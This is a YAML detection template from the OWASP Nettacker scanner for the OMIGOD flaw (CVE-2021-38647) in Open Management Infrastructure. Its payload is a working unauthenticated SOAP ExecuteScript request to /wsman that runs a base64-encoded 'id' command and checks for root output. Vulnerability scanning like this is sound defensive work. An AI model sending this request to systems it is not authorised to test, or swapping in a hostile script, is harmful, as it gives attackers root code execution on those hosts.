info:
  name: omigod_cve_2021_38647_vuln
  author: OWASP Nettacker Team
  severity: 9
  description: Open Management Infrastructure Remote Code Execution Vulnerability
  reference: 
    - https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/
    - https://github.com/microsoft/omi
  profiles:
    - vuln
    - vulnerability
    - http
    - critical_severity
    - cve2021
    - cve
    - omigod
    - rce

payloads:
  - library: http
    steps:
      - method: post
        timeout: 3
        allow_redirects: false
        headers:
          User-Agent: "{user_agent}"
          Host: {target}
          Content-Type: application/soap+xml;charset=UTF-8
        ssl: false
        url:
          nettacker_fuzzer:
            input_format: "{{schema}}://{target}:{{ports}}/wsman"
            prefix: ""
            suffix: ""
            interceptors:
            data:
              schema:
                - "http"
                - "https"
              ports:
                - 80
                - 443
        data:
          <s:Envelope
            xmlns:s="http://www.w3.org/2003/05/soap-envelope"
            xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
            xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration"
            xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
            xmlns:xsi="http://www.w3.org/2001/XMLSchema"
            xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell"
            xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
            <s:Header>
              <a:To>HTTP://{target}/wsman/</a:To>
              <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
              <a:ReplyTo>
                <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
              </a:ReplyTo>
              <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>
              <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
              <a:MessageID>uuid:00B60932-CC01-0005-0000-000000010000</a:MessageID>
              <w:OperationTimeout>PT1M30S</w:OperationTimeout>
              <w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
              <p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>
              <w:OptionSet s:mustUnderstand="true"/>
              <w:SelectorSet>
                <w:Selector Name="__cimnamespace">root/scx</w:Selector>
              </w:SelectorSet>
            </s:Header>
            <s:Body>
              <p:ExecuteScript_INPUT
                xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
                <p:Script>aWQ=</p:Script>
                <p:Arguments/>
                <p:timeout>0</p:timeout>
                <p:b64encoded>true</p:b64encoded>
              </p:ExecuteScript_INPUT>
            </s:Body>
          </s:Envelope>
        response:
          condition_type: and
          conditions:
            content:
              regex: \\C+StdOut\\C+root\\C+groups=0
              reverse: false
